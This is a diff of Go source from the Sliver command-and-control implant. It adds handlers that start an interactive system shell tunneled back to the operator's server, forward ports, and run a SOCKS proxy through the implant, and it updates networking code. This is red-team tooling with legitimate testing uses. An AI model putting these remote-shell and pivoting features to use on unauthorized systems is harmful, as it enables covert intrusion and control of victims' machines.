+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	delete(c.cache, tunnelID)
+}
+
+func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		return
+	}
+
+	delete(c.cache[tunnelID], sequence)
+}
+
+func (c *dataCache) Len(tunnelID uint64) int {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	return len(c.cache[tunnelID])
+}

implant/sliver/handlers/tunnel_handlers/data_handler.go

@@ -0,0 +1,81 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelData := &sliverpb.TunnelData{}
+	proto.Unmarshal(envelope.Data, tunnelData)
+	tunnel := connection.Tunnel(tunnelData.TunnelID)
+	if tunnel != nil {
+		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
+		// to ensure we write the data back to the reader in the correct order. The server will ensure
+		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
+		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
+		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
+		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
+		// correctly write them back to the reader.
+
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
+		// {{end}}
+
+		tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
+
+		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
+		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
+		// is used here whereas WriteSequence is used for data written back to the server
+
+		// Go through cache and write all sequential data to the reader
+		for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
+			// {{if .Config.Debug}}
+			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
+			// {{end}}
+			tunnel.Writer.Write(recv.Data)
+
+			// Delete the entry we just wrote from the cache
+			tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
+			tunnel.IncReadSequence() // Increment sequence counter
+
+			// {{if .Config.Debug}}
+			log.Printf("[message just received] %v", tunnelData)
+			// {{end}}
+		}
+
+		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
+		//Send a Resend packet to have the msg resent from the cache
+		if tunnelDataCache.Len(tunnel.ID) > 3 {
+			data, err := proto.Marshal(&sliverpb.TunnelData{
+				Sequence: tunnel.WriteSequence(), // The tunnel write sequence
+				Ack:      tunnel.ReadSequence(),
+				Resend:   true,
+				TunnelID: tunnel.ID,
+				Data:     []byte{},
+			})
+			if err != nil {
+				// {{if .Config.Debug}}
+				log.Printf("[shell] Failed to marshal protobuf %s", err)
+				// {{end}}
+			} else {
+				// {{if .Config.Debug}}
+				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
+				// {{end}}
+				connection.RequestResend(data)
+			}
+		}
+
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
+		log.Printf("[message just transfered] %v", tunnelData)
+		// {{end}}
+	}
+}

implant/sliver/handlers/tunnel_handlers/portfwd_handler.go

@@ -0,0 +1,112 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"time"
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	portfwdReq := &sliverpb.PortfwdReq{}
+	err := proto.Unmarshal(envelope.Data, portfwdReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+
+	var defaultDialer = new(net.Dialer)
+
+	// TODO: Configurable context
+	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
+	// {{if .Config.Debug}}
+	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
+	// {{end}}
+
+	ctx, cancelContext := context.WithCancel(context.Background())
+
+	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to dial remote address %s", err)
+		// {{end}}
+		cancelContext()
+		return
+	}
+	if conn, ok := dst.(*net.TCPConn); ok {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Configuring keep alive")
+		// {{end}}
+		conn.SetKeepAlive(true)
+		// TODO: Make KeepAlive configurable
+		conn.SetKeepAlivePeriod(30 * time.Second)
+	}
+
+	// Add tunnel
+	// {{if .Config.Debug}}
+	log.Printf("[portfwd] Creating tcp tunnel")
+	// {{end}}
+	tunnel := transports.NewTunnel(
+		portfwdReq.TunnelID,
+		dst,
+		dst,
+	)
+	connection.AddTunnel(tunnel)
+
+	// Send portfwd response
+	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
+		Port:     portfwdReq.Port,
+		Host:     portfwdReq.Host,
+		Protocol: sliverpb.PortFwdProtoTCP,
+		TunnelID: portfwdReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: portfwdResp,
+	}
+
+	cleanup := func(reason error) {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		tunnel := connection.Tunnel(tunnel.ID)
+
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+		connection.RemoveTunnel(tunnel.ID)
+		dst.Close()
+		cancelContext()
+	}
+
+	go func() {
+		tWriter := tunnelWriter{
+			tun:  tunnel,
+			conn: connection,
+		}
+		n, err := io.Copy(tWriter, tunnel.Reader)
+		_ = n // avoid not used compiler error if debug mode is disabled
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
+		// {{end}}
+
+		cleanup(err)
+	}()
+}

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -0,0 +1,118 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"io"
+
+	"github.com/bishopfox/sliver/implant/sliver/shell"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+
+	shellReq := &sliverpb.ShellReq{}
+	err := proto.Unmarshal(envelope.Data, shellReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+
+	shellPath := shell.GetSystemShellPath(shellReq.Path)
+	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
+	if systemShell == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to get system shell")
+		// {{end}}
+		return
+	}
+
+	// At this point, comand is already started by StartInteractive
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to spawn! err: %v", err)
+		// {{end}}
+		return
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Process spawned!")
+		// {{end}}
+	}
+
+	tunnel := transports.NewTunnel(
+		shellReq.TunnelID,
+		systemShell.Stdout,
+		systemShell.Stdin,
+	)
+	connection.AddTunnel(tunnel)
+
+	shellResp, _ := proto.Marshal(&sliverpb.Shell{
+		Pid:      uint32(systemShell.Command.Process.Pid),
+		Path:     shellReq.Path,
+		TunnelID: shellReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: shellResp,
+	}
+
+	// Cleanup function with arguments
+	cleanup := func(reason string, err error) {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
+		// {{end}}
+
+		systemShell.Stop()
+
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+	}
+
+	go func() {
+		tWriter := tunnelWriter{
+			tun:  tunnel,
+			conn: connection,
+		}
+		_, err := io.Copy(tWriter, tunnel.Reader)
+
+		if err != nil {
+			cleanup("io error", err)
+			return
+		}
+
+		err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
+		if err != nil {
+			cleanup("shell wait error", err)
+			return
+		}
+
+		if systemShell.Command.ProcessState != nil {
+			if systemShell.Command.ProcessState.Exited() {
+				cleanup("process terminated", nil)
+				return
+			}
+		}
+		if err == io.EOF {
+			cleanup("EOF", err)
+			return
+		}
+	}()
+
+	// {{if .Config.Debug}}
+	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
+	// {{end}}
+
+}

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -0,0 +1,165 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"errors"
+	"net"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/things-go/go-socks5"
+	"google.golang.org/protobuf/proto"
+)
+
+type socksTunnelPool struct {
+	tunnels *sync.Map // map[uint64]chan []byte
+}
+
+var socksTunnels = socksTunnelPool{
+	tunnels: &sync.Map{},
+}
+
+var socksServer *socks5.Server
+
+func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	socksData := &sliverpb.SocksData{}
+	err := proto.Unmarshal(envelope.Data, socksData)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+	if socksData.Data == nil {
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
+	// {{end}}
+
+	if socksData.Username != "" && socksData.Password != "" {
+		cred := socks5.StaticCredentials{
+			socksData.Username: socksData.Password,
+		}
+		auth := socks5.UserPassAuthenticator{Credentials: cred}
+		socksServer = socks5.NewServer(
+			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
+		)
+	} else {
+		socksServer = socks5.NewServer()
+	}
+
+	// {{if .Config.Debug}}
+	log.Printf("[socks] Server: %v", socksServer)
+	// {{end}}
+
+	// init tunnel
+	if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
+		tunnelChan := make(chan []byte, 10)
+		socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
+		tunnelChan <- socksData.Data
+		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("[socks] Failed to serve connection: %v", err)
+			// {{end}}
+			return
+		}
+	} else {
+		tunnel.(chan []byte) <- socksData.Data
+	}
+}
+
+var _ net.Conn = &socks{}
+
+type socks struct {
+	stream *sliverpb.SocksData
+	conn   *transports.Connection
+	// mux      sync.Mutex
+	Sequence uint64
+}
+
+func (s *socks) Read(b []byte) (n int, err error) {
+	channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
+	if !ok {
+		return 0, errors.New("[socks] invalid tunnel id")
+	}
+
+	data := <-channel.(chan []byte)
+	return copy(b, data), nil
+}
+
+func (s *socks) Write(b []byte) (n int, err error) {
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID: s.stream.TunnelID,
+		Data:     b,
+		Sequence: atomic.LoadUint64(&s.Sequence),
+	})
+	if !s.conn.IsOpen {
+		return 0, err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
+	// {{end}}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+
+	atomic.AddUint64(&s.Sequence, 1)
+	return len(b), err
+}
+
+func (s *socks) Close() error {
+	channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
+	if !ok {
+		return errors.New("[socks] can't close unknown channel")
+	}
+	close(channel.(chan []byte))
+
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID:  s.stream.TunnelID,
+		CloseConn: true,
+	})
+	if !s.conn.IsOpen {
+		return err
+	}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+	return err
+}
+
+func (c *socks) LocalAddr() net.Addr {
+	return nil
+}
+
+func (c *socks) RemoteAddr() net.Addr {
+	return &net.IPAddr{
+		IP:   net.IPv4(127, 0, 0, 1),
+		Zone: "",
+	}
+}
+
+// TODO impl
+func (c *socks) SetDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetReadDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetWriteDeadline(t time.Time) error {
+	return nil
+}

implant/sliver/handlers/tunnel_handlers/tunnel_writer.go

@@ -0,0 +1,38 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+// tunnelWriter - Sends data back to the server based on data read()
+// I know the reader/writer stuff is a little hard to keep track of
+type tunnelWriter struct {
+	tun  *transports.Tunnel
+	conn *transports.Connection
+}
+
+func (tw tunnelWriter) Write(data []byte) (int, error) {
+	n := len(data)
+	data, err := proto.Marshal(&sliverpb.TunnelData{
+		Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
+		Ack:      tw.tun.ReadSequence(),
+		TunnelID: tw.tun.ID,
+		Data:     data,
+	})
+	// {{if .Config.Debug}}
+	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
+	// {{end}}
+	tw.tun.IncWriteSequence() // Increment write sequence
+	tw.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgTunnelData,
+		Data: data,
+	}
+	return n, err
+}

implant/sliver/netstack/tun.go

@@ -1,7 +1,6 @@
 /* SPDX-License-Identifier: MIT
  *
  * Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
- * https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
  */
 
 package netstack
@@ -14,7 +13,9 @@ import (
 	"fmt"
 	"io"
 	"net"
+	"net/netip"
 	"os"
+	"regexp"
 	"strconv"
 	"strings"
 	"time"
@@ -22,15 +23,17 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"inet.af/netstack/tcpip"
-	"inet.af/netstack/tcpip/adapters/gonet"
-	"inet.af/netstack/tcpip/buffer"
-	"inet.af/netstack/tcpip/header"
-	"inet.af/netstack/tcpip/network/ipv4"
-	"inet.af/netstack/tcpip/network/ipv6"
-	"inet.af/netstack/tcpip/stack"
-	"inet.af/netstack/tcpip/transport/tcp"
-	"inet.af/netstack/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/waiter"
 )
 
 type netTun struct {
@@ -39,11 +42,14 @@ type netTun struct {
 	events         chan tun.Event
 	incomingPacket chan buffer.VectorisedView
 	mtu            int
-	dnsServers     []net.IP
+	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }
-type endpoint netTun
-type Net netTun
+
+type (
+	endpoint netTun
+	Net      netTun
+)
 
 func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
 	e.dispatcher = dispatcher
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
 
 func (*endpoint) Wait() {}
 
-func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
 	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
 	return nil
 }
 
-func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+	panic("not implemented")
+}
+
+func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
 	panic("not implemented")
 }
 
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
 func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
 }
 
-func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
+func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
 		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
-		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
 		HandleLocal:        true,
 	}
 	dev := &netTun{
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
 	for _, ip := range localAddresses {
-		if ip4 := ip.To4(); ip4 != nil {
-			tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		var protoNumber tcpip.NetworkProtocolNumber
+		if ip.Is4() {
+			protoNumber = ipv4.ProtocolNumber
+		} else if ip.Is6() {
+			protoNumber = ipv6.ProtocolNumber
+		}
+		protoAddr := tcpip.ProtocolAddress{
+			Protocol:          protoNumber,
+			AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
+		}
+		tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
+		if tcpipErr != nil {
+			return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
+		}
+		if ip.Is4() {
 			dev.hasV4 = true
-		} else {
-			tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		} else if ip.Is6() {
 			dev.hasV6 = true
 		}
 	}
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 	if dev.hasV6 {
 		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
 	}
-	// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
-	// if tcpipErr != nil {
-	// 	return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
-	// }
 
 	dev.events <- tun.EventUp
 	return dev, (*Net)(dev), nil
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
 	return tun.mtu, nil
 }
 
-func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
-	if ip4 := ip.To4(); ip4 != nil {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip4),
-			Port: uint16(port),
-		}, ipv4.ProtocolNumber
+func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
+	var protoNumber tcpip.NetworkProtocolNumber
+	if endpoint.Addr().Is4() {
+		protoNumber = ipv4.ProtocolNumber
 	} else {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip),
-			Port: uint16(port),
-		}, ipv6.ProtocolNumber
+		protoNumber = ipv6.ProtocolNumber
 	}
+	return tcpip.FullAddress{
+		NIC:  1,
+		Addr: tcpip.Address(endpoint.Addr().AsSlice()),
+		Port: endpoint.Port(),
+	}, protoNumber
+}
+
+func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
 }
 
 func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialTCP(net.stack, fa, pn)
 }
 
 func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.ListenTCP(net.stack, fa, pn)
 }
 
 func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.ListenTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.ListenTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
 }
 
-func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
 	var lfa, rfa *tcpip.FullAddress
 	var pn tcpip.NetworkProtocolNumber
-	if laddr != nil {
+	if laddr.IsValid() || laddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
+		addr, pn = convertToFullAddr(laddr)
 		lfa = &addr
 	}
-	if raddr != nil {
+	if raddr.IsValid() || raddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
+		addr, pn = convertToFullAddr(raddr)
 		rfa = &addr
 	}
 	return gonet.DialUDP(net.stack, lfa, rfa, pn)
 }
 
+func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
+	return net.DialUDPAddrPort(laddr, netip.AddrPort{})
+}
+
+func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	var la, ra netip.AddrPort
+	if laddr != nil {
+		ip, _ := netip.AddrFromSlice(laddr.IP)
+		la = netip.AddrPortFrom(ip, uint16(laddr.Port))
+	}
+	if raddr != nil {
+		ip, _ := netip.AddrFromSlice(raddr.IP)
+		ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
+	}
+	return net.DialUDPAddrPort(la, ra)
+}
+
+func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	return net.DialUDP(laddr, nil)
+}
+
+type PingConn struct {
+	laddr    PingAddr
+	raddr    PingAddr
+	wq       waiter.Queue
+	ep       tcpip.Endpoint
+	deadline *time.Timer
+}
+
+type PingAddr struct{ addr netip.Addr }
+
+func (ia PingAddr) String() string {
+	return ia.addr.String()
+}
+
+func (ia PingAddr) Network() string {
+	if ia.addr.Is4() {
+		return "ping4"
+	} else if ia.addr.Is6() {
+		return "ping6"
+	}
+	return "ping"
+}
+
+func (ia PingAddr) Addr() netip.Addr {
+	return ia.addr
+}
+
+func PingAddrFromAddr(addr netip.Addr) *PingAddr {
+	return &PingAddr{addr}
+}
+
+func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
+	if !laddr.IsValid() && !raddr.IsValid() {
+		return nil, errors.New("ping dial: invalid address")
+	}
+	v6 := laddr.Is6() || raddr.Is6()
+	bind := laddr.IsValid()
+	if !bind {
+		if v6 {
+			laddr = netip.IPv6Unspecified()
+		} else {
+			laddr = netip.IPv4Unspecified()
+		}
+	}
+
+	tn := icmp.ProtocolNumber4
+	pn := ipv4.ProtocolNumber
+	if v6 {
+		tn = icmp.ProtocolNumber6
+		pn = ipv6.ProtocolNumber
+	}
+
+	pc := &PingConn{
+		laddr:    PingAddr{laddr},
+		deadline: time.NewTimer(time.Hour << 10),
+	}
+	pc.deadline.Stop()
+
+	ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
+	if tcpipErr != nil {
+		return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
+	}
+	pc.ep = ep
+
+	if bind {
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
+		if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping bind: %s", tcpipErr)
+		}
+	}
+
+	if raddr.IsValid() {
+		pc.raddr = PingAddr{raddr}
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
+		if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping connect: %s", tcpipErr)
+		}
+	}
+
+	return pc, nil
+}
+
+func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
+	return net.DialPingAddr(laddr, netip.Addr{})
+}
+
+func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
+	var la, ra netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	if raddr != nil {
+		ra = raddr.addr
+	}
+	return net.DialPingAddr(la, ra)
+}
+
+func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
+	var la netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	return net.ListenPingAddr(la)
+}
+
+func (pc *PingConn) LocalAddr() net.Addr {
+	return pc.laddr
+}
+
+func (pc *PingConn) RemoteAddr() net.Addr {
+	return pc.raddr
+}
+
+func (pc *PingConn) Close() error {
+	pc.deadline.Reset(0)
+	pc.ep.Close()
+	return nil
+}
+
+func (pc *PingConn) SetWriteDeadline(t time.Time) error {
+	return errors.New("not implemented")
+}
+
+func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
+	var na netip.Addr
+	switch v := addr.(type) {
+	case *PingAddr:
+		na = v.addr
+	case *net.IPAddr:
+		na, _ = netip.AddrFromSlice(v.IP)
+	default:
+		return 0, fmt.Errorf("ping write: wrong net.Addr type")
+	}
+	if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
+		return 0, fmt.Errorf("ping write: mismatched protocols")
+	}
+
+	buf := buffer.NewViewFromBytes(p)
+	rdr := buf.Reader()
+	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
+	// won't block, no deadlines
+	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
+		To: &rfa,
+	})
+	if tcpipErr != nil {
+		return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
+	}
+
+	return int(n64), nil
+}
+
